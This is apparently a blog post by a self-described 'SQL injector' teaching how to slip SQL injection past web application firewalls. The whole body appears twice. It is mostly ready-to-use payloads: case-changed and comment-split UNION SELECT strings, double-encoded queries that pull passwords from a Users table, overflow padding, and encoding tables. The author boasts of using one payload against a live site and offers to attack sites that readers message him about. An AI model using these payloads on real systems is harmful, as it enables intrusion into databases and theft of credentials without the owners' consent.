What is a WAF?
WAF stands for Web Application Firewall. A WAF is put in place by the web applications administrator in an attempt to prevent attacks such as SQLi and XSS. They detect malicious attempts with the use of signature based filters and escapes defined within a list of rules. As a result of this design, they are vulnerable to being easily bypassed by obfuscating your exploit code.
Methods of Bypass
There are many more ways of bypassing these than I can list here but this is a basic overview of three common and easy methods to try first.
1)Comments:
SQL comments are a blessing to us SQL injectors. They allow us to bypass alot of the restrictions of Web application firewalls and to kill certain SQL statements to execute the attackers commands while commenting out the actual legitimate query. Some comments in SQL:
//, --, /**/, #, -+, -- -, ;
2)Case Changing:
Some WAF’s will filter only lowercase attacks As we can see we can easily evade this by case changing:
Possible Regex filter:
/union\sselect/g
id=1+UnIoN/**/SeLeCT, or with XSS -> alert(1)
3)Inline Comments:
Some WAF’s filter key words like /union\sselect/ig We can bypass this filter by using inline comments most of the time, More complex examples will require more advanced approach like adding SQL keywords that will further separate the two words:
id=1/*!UnIoN*/SeLeCT
Take notice of the exclamation point /*!code*/ The exclamation point executes our SQL statement.
Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can add more inline comments. For example, lets pretend a site filters union,where, table_name, table_schema, =, and information_schema.. These are 3 statements we need to inject our target.
For this we would:
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/,tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()- -
The above code would bypass the filter. Notice we can use “like” instead of “=”
Another way to use inline comemnts, when everything seems to fail you can try to through the application Firewall off by crafting a SQL statement using variables:
id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()-- -
The above code should bypass the Union+select filters even where common inline comments didn’t work itself
4)Buffer Overflow:/Unexpected input:
Alot of WAFS are written in the C language making them prone to overflow or or act differently when loaded with a bunch of data. Here is a WAF that does it’s job correctly, but when given a large amount of Data allows the malicious request and response.
id=1 and (select 1)=(Select 0xAA 1000 more A’s)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26
,27,28,29,30,31,32,33,34,35,36-+
This bypass above works. I myself just used this against a Web site recently.
5)Replaced keywords(preg_replace and/or WAF’s with the same action):
Sometimes and application will remove all of a keyword. For instance, lets say we have a filter that replaces union select with whitespace. We could bypass that filter like so:
id=1+UNIunionON+SeLselectECT+1,2,3--
As you can see once union+select has been removed our capital UNION+SELECT takes its place successfully injecting our query:
UNION+SELECT+1,2,3--
6)Charachter encoding:
Most WAF’s will decode and filter an applications input, but some WAFs only decode the input once so double encoding can bypass certain filters as the WAF will decode the input once then filter while the Application will keep decoding the SQL statement executing our code.
Examples of double encoding:
id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
Some examples of double encoding are:
Source code
Single Quote ' %u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
__
White Space: %u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
__
( %u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
__
) %u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9
__
7)Putting it all together:
After bypassing a few WAF’s the task gets easier and easier, but here are some ways to find out how to bypass “your” targetted WAF:
7a)Breaking the SQL statement:
To find out exactly whats filtered you need to break your own SQL syntax and check for keywords being filtered, seeing if the keyword is filtered alone or in the prescence of other SQL keywords. For instance, if union+select is giving you a Forbidden or a Internal Server Error, try removing Union and seeing what happens with just Select and vice-versa
7b)Verbose Errors:
When breaking the SQL syntax you use the errors to guide you on just needs to be done for instance if were were injecting the broken syntax(Removed union to stop Forbidden errors):
id=1+Select+1,2,3--
And the error was something like:
Error at line 1 near \”\”+1,2,3--
We could gather that maybe the Word Select is being filtered out and replaced with white space. We could confirm this by injection something like:
sel%0bect+1,2,3
From there we would see if we can see a Select error. If we did a few more checks will give us a the answer we need to bypass this WAF. This is just one of many ways to break down the SQL syntax. You may have to keep breaking it, while bypassing different parts.
8)Advanced Bypassing Techniques:
As stated earlier once you have bypassed a few WAF’s it gets easier and easier and more and more FUN When one finds himself running into a wall try going through all the miscreant characters to see whats allowd and whats not allowed. These characters can be: [;:{}()*&$/|<>?"'] We can use these characters to possibly craft a working SQL exploit. For instance, during a WAF bypass I was doing everything was being either filtered or replaced. I noticed that all * were being replaced with whitespace which meant no inline comments. Union+select was also properly filtered to produce a Forbidden error. In this instance I was able to use the replaced * to craft my exploit like so:
id=1+uni*on+sel*ect+1,2,3--+
When the * were filtered out the union+select fell right into place. Now, UNunionION+SELselectECT wasn’t working because union and select were not being replaced only * was. This is a common WAF bypass. Find the replaceable character and you find the exploit
Some other bypasses:
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+'SeL”ECT’ <-MySQL only
id=1+'UnI'||'on'+SeLeCT' <-MSSQL only
As of MySQL 4.0 it is said that Uni/**/on+Sel/**/ect will not work for bypass, but if the application firewall was customized to Filter /**/ out to whitespace it will work no matter what the version.
If anyone needs any help bypassing filters after reading and trying the above tactics please pm me with the website and I will give it a go. I love this shit!! I know this isn’t an exhaustive filter bypass tutorial, but using the above methods(and your brain) will help you bypass most WAF’s today.
Enjoy!!
WAF stands for Web Application Firewall. A WAF is put in place by the web applications administrator in an attempt to prevent attacks such as SQLi and XSS. They detect malicious attempts with the use of signature based filters and escapes defined within a list of rules. As a result of this design, they are vulnerable to being easily bypassed by obfuscating your exploit code.
Methods of Bypass
There are many more ways of bypassing these than I can list here but this is a basic overview of three common and easy methods to try first.
1)Comments:
SQL comments are a blessing to us SQL injectors. They allow us to bypass alot of the restrictions of Web application firewalls and to kill certain SQL statements to execute the attackers commands while commenting out the actual legitimate query. Some comments in SQL:
//, --, /**/, #, -+, -- -, ;
2)Case Changing:
Some WAF’s will filter only lowercase attacks As we can see we can easily evade this by case changing:
Possible Regex filter:
/union\sselect/g
id=1+UnIoN/**/SeLeCT, or with XSS -> alert(1)
3)Inline Comments:
Some WAF’s filter key words like /union\sselect/ig We can bypass this filter by using inline comments most of the time, More complex examples will require more advanced approach like adding SQL keywords that will further separate the two words:
id=1/*!UnIoN*/SeLeCT
Take notice of the exclamation point /*!code*/ The exclamation point executes our SQL statement.
Inline comments can be used throughout the SQL statement so if table_name or information_schema are filtered we can add more inline comments. For example, lets pretend a site filters union,where, table_name, table_schema, =, and information_schema.. These are 3 statements we need to inject our target.
For this we would:
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/,tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()- -
The above code would bypass the filter. Notice we can use “like” instead of “=”
Another way to use inline comemnts, when everything seems to fail you can try to through the application Firewall off by crafting a SQL statement using variables:
id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()-- -
The above code should bypass the Union+select filters even where common inline comments didn’t work itself
4)Buffer Overflow:/Unexpected input:
Alot of WAFS are written in the C language making them prone to overflow or or act differently when loaded with a bunch of data. Here is a WAF that does it’s job correctly, but when given a large amount of Data allows the malicious request and response.
id=1 and (select 1)=(Select 0xAA 1000 more A’s)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22,23,24,25,26
,27,28,29,30,31,32,33,34,35,36-+
This bypass above works. I myself just used this against a Web site recently.
5)Replaced keywords(preg_replace and/or WAF’s with the same action):
Sometimes and application will remove all of a keyword. For instance, lets say we have a filter that replaces union select with whitespace. We could bypass that filter like so:
id=1+UNIunionON+SeLselectECT+1,2,3--
As you can see once union+select has been removed our capital UNION+SELECT takes its place successfully injecting our query:
UNION+SELECT+1,2,3--
6)Charachter encoding:
Most WAF’s will decode and filter an applications input, but some WAFs only decode the input once so double encoding can bypass certain filters as the WAF will decode the input once then filter while the Application will keep decoding the SQL statement executing our code.
Examples of double encoding:
id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+
Some examples of double encoding are:
Source code
Single Quote ' %u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
__
White Space: %u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
__
( %u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
__
) %u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9
__
7)Putting it all together:
After bypassing a few WAF’s the task gets easier and easier, but here are some ways to find out how to bypass “your” targetted WAF:
7a)Breaking the SQL statement:
To find out exactly whats filtered you need to break your own SQL syntax and check for keywords being filtered, seeing if the keyword is filtered alone or in the prescence of other SQL keywords. For instance, if union+select is giving you a Forbidden or a Internal Server Error, try removing Union and seeing what happens with just Select and vice-versa
7b)Verbose Errors:
When breaking the SQL syntax you use the errors to guide you on just needs to be done for instance if were were injecting the broken syntax(Removed union to stop Forbidden errors):
id=1+Select+1,2,3--
And the error was something like:
Error at line 1 near \”\”+1,2,3--
We could gather that maybe the Word Select is being filtered out and replaced with white space. We could confirm this by injection something like:
sel%0bect+1,2,3
From there we would see if we can see a Select error. If we did a few more checks will give us a the answer we need to bypass this WAF. This is just one of many ways to break down the SQL syntax. You may have to keep breaking it, while bypassing different parts.
8)Advanced Bypassing Techniques:
As stated earlier once you have bypassed a few WAF’s it gets easier and easier and more and more FUN When one finds himself running into a wall try going through all the miscreant characters to see whats allowd and whats not allowed. These characters can be: [;:{}()*&$/|<>?"'] We can use these characters to possibly craft a working SQL exploit. For instance, during a WAF bypass I was doing everything was being either filtered or replaced. I noticed that all * were being replaced with whitespace which meant no inline comments. Union+select was also properly filtered to produce a Forbidden error. In this instance I was able to use the replaced * to craft my exploit like so:
id=1+uni*on+sel*ect+1,2,3--+
When the * were filtered out the union+select fell right into place. Now, UNunionION+SELselectECT wasn’t working because union and select were not being replaced only * was. This is a common WAF bypass. Find the replaceable character and you find the exploit
Some other bypasses:
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+'SeL”ECT’ <-MySQL only
id=1+'UnI'||'on'+SeLeCT' <-MSSQL only
As of MySQL 4.0 it is said that Uni/**/on+Sel/**/ect will not work for bypass, but if the application firewall was customized to Filter /**/ out to whitespace it will work no matter what the version.
If anyone needs any help bypassing filters after reading and trying the above tactics please pm me with the website and I will give it a go. I love this shit!! I know this isn’t an exhaustive filter bypass tutorial, but using the above methods(and your brain) will help you bypass most WAF’s today.
Additional Reading
Excellent cheat sheet for more ideas
http://securityoverride.com/articles.php...n_or_not?)
http://pyandsaputra.blog.com/?p=109
http://hackingexpose.blogspot.com/2009/0...ction.html
http://jeannotclement.wordpress.com/2011...technique/
http://www.defcon.org/images/defcon-17/d...ection.pdf
http://www.netspi.com/blog/tag/advanced-sql-injection/
http://ha.ckers.org/sqlinjection/
Excellent cheat sheet for more ideas
http://securityoverride.com/articles.php...n_or_not?)
http://pyandsaputra.blog.com/?p=109
http://hackingexpose.blogspot.com/2009/0...ction.html
http://jeannotclement.wordpress.com/2011...technique/
http://www.defcon.org/images/defcon-17/d...ection.pdf
http://www.netspi.com/blog/tag/advanced-sql-injection/
http://ha.ckers.org/sqlinjection/
Enjoy!!
No comments:
Post a Comment